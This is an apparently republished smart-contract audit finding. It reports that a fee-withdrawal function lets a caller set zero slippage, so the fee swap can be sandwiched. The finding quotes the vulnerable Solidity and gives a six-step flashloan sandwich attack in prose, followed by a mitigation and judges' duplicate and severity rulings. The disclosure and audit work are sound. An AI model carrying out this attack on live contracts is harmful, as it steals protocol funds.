The logic of withdrawAllMarketFees flows into _withdrawAllProtocolFees where each individual market and swapper provided gets iterated over.

function _withdrawAllProtocolFees(
    ISwapper[] calldata swappers_,
    IPenrose.SwapData[] calldata swapData_,
    IMarket[] memory markets_
) private {
    uint256 length = markets_.length;
    unchecked {
        for (uint256 i = 0; i < length; ) {
            _depositFeesToYieldBox(markets_[i], swappers_[i], swapData_[i]);
            ++i;
        }
    }
}

Inside _depositFeesToYieldBox, the market assetId is compared against the wethAssetId. If the asset is not WETH, the tokens are swapped to WETH and deposited into yieldbox. The dexData.minAssetAmount parameter is used as the minimum amount of WETH to receive from the swap operation. Since this value is set by an attacker, it can be set 0 and the swap can be atomically sandwiched.

function _depositFeesToYieldBox(
    IMarket market,
    ISwapper swapper,
    IPenrose.SwapData calldata dexData
) private {
    // .. snip
    uint256 assetId = market.assetId();
    if (assetId != wethAssetId) {
        // asset is not WETH, so swap the token to WETH and deposit WETH as the fee

        // give our swapper the tokens
        yieldBox.transfer(
            address(this),
            address(swapper),
            assetId,
            feeShares
        );

        // build swap data to swap tokens to WETH
        ISwapper.SwapData memory swapData = swapper.buildSwapData(
            assetId, //tokenInID
            wethAssetId, //tokenOutID
            0, //amountIn
            feeShares, //shareIn
            true, //withdrawFromYb
            true //depositToYb
        );

        // execute swapper.swap(). this will swap the tokens to WETH and deposit any amountOut into yieldbox
        (amount, ) = swapper.swap(
            swapData,
            dexData.minAssetAmount, 
            feeTo,
            ""
        );
    }
    // .. snip
}

Impact

High - The conversion step for non-native fees can be exploited by a malicious actor that manipulates the market conditions of the chosen Swapper using an atomic sandwich attack, where the attacker manipulates the token price before and after the swap operation, forcing the protocol to get ~zero value for the accrued fees and the attacker pocketing the rest.

Proof of Concept

  1. The attacker takes note of ERC20 assets that have accrued fees.
  2. The attacker flashloans a substantial amount of each token that has fees built up.
  3. The attacker spends the token in a swap to acquire WETH (using UniV2, UniV3, etc.).
  4. The attacker calls withdrawAllMarketFees for the markets that the tokens are a part of.
    • This initiates a swap, yielding a poor price due to manipulated market conditions.
  5. The attacker sells WETH back into each market to recover enough tokens for flashloan repayment.
  6. The attacker repays each token's flashloan, pocketing the remaining WETH leftover.

The profit for the attacker is approximately equal to the accrued fees. The attacker is effectively stealing all the fees earned by the protocol.

Tools Used

Manual Review

To mitigate this vulnerability, the following steps should be considered:

  1. Access Control: The withdrawAllMarketFees function should be access-controlled to prevent unauthorized calls. Only trusted addresses (e.g., admin, or a specific set of addresses) should be able to call this function.

Assessed type

Other

#0 - c4-pre-sort

2023-08-06T06:11:40Z

minhquanym marked the issue as duplicate of #266

#1 - c4-judge

2023-09-19T11:43:48Z

dmvt marked the issue as duplicate of #245

#2 - c4-judge

2023-09-22T22:14:40Z

dmvt changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-09-22T22:17:26Z

dmvt marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter